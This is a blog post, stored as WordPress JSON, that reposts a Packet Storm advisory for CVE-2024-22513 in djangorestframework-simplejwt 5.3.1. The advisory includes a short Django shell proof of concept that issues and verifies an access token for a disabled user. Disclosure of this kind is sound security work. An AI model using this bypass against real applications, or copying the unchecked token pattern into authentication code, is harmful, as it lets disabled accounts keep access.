{"id":56275,"date":"2024-04-15T22:19:57","date_gmt":"2024-04-15T18:19:57","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178050\/drfwsjwt531-disclose.txt"},"modified":"2024-04-15T22:19:57","modified_gmt":"2024-04-15T18:19:57","slug":"django-rest-framework-simplejwt-5-3-1-information-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/django-rest-framework-simplejwt-5-3-1-information-disclosure\/","title":{"rendered":"Django REST Framework SimpleJWT 5.3.1 Information Disclosure"},"content":{"rendered":"<p># Exploit Title: djangorestframework-simplejwt 5.3.1 &#8211; Information Disclosure<br \/># Date: 26\/01\/2024<br \/># Exploit Author: Dhrumil Mistry (dmdhrumilmistry)<br \/># Vendor Homepage: https:\/\/github.com\/jazzband\/djangorestframework-simplejwt\/<br \/># Software Link:https:\/\/github.com\/jazzband\/djangorestframework-simplejwt\/releases\/tag\/v5.3.1<br \/># Version: &lt;= 5.3.1<br \/># Tested on: MacOS<br \/># CVE : CVE-2024-22513<\/p>\n<p># The version of djangorestframework-simplejwt up to 5.3.1 is vulnerable.<br \/># This vulnerability has the potential to cause various security issues,<br \/># including Business Object Level Authorization (BOLA), Business Function<br \/># Level Authorization (BFLA), Information Disclosure, etc. The vulnerability<br \/># arises from the fact that a user can access web application resources even<br \/># after their account has been disabled, primarily due to the absence of proper<br \/># user validation checks.<\/p>\n<p># If a programmer generates a JWT token for an inactive user using<br \/>`AccessToken`<br \/># class and `for_user` method then a JWT token is returned which can<br \/>be used for<br \/># authentication across the django and django rest framework application.<\/p>\n<p># Start Django Shell using below command:<br \/># python manage.py shell<br \/># &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p># Create inactive user and generate token for the user<br \/>from django.contrib.auth.models import User<br \/>from rest_framework_simplejwt.tokens import AccessToken<\/p>\n<p># create inactive user<br \/>inactive_user_id = User.objects.create_user(&#8216;testuser&#8217;,<br \/>&#8216;test@example.com&#8217;, &#8216;testPassw0rd!&#8217;, is_active=False).id<\/p>\n<p># django application programmer generates token for the inactive user<br \/>AccessToken.for_user(User.objects.get(id=inactive_user_id)) # error<br \/>should be raised since user is inactive<\/p>\n<p># django application verifying user token<br \/>AccessToken.for_user(User.objects.get(id=inactive_user_id)).verify() #<br \/>no exception is raised during verification of inactive user token<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: djangorestframework-simplejwt 5.3.1 &#8211; Information Disclosure# Date: 26\/01\/2024# Exploit Author: Dhrumil Mistry (dmdhrumilmistry)# Vendor Homepage: https:\/\/github.com\/jazzband\/djangorestframework-simplejwt\/# Software Link:https:\/\/github.com\/jazzband\/djangorestframework-simplejwt\/releases\/tag\/v5.3.1# Version: &lt;= 5.3.1# Tested on: MacOS# CVE : CVE-2024-22513 # The version of djangorestframework-simplejwt up to 5.3.1 is vulnerable.# This vulnerability has the potential to cause various security issues,# including Business Object Level Authorization (BOLA), &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56275","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56275","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56275"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56275\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56275"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56275"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56275"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}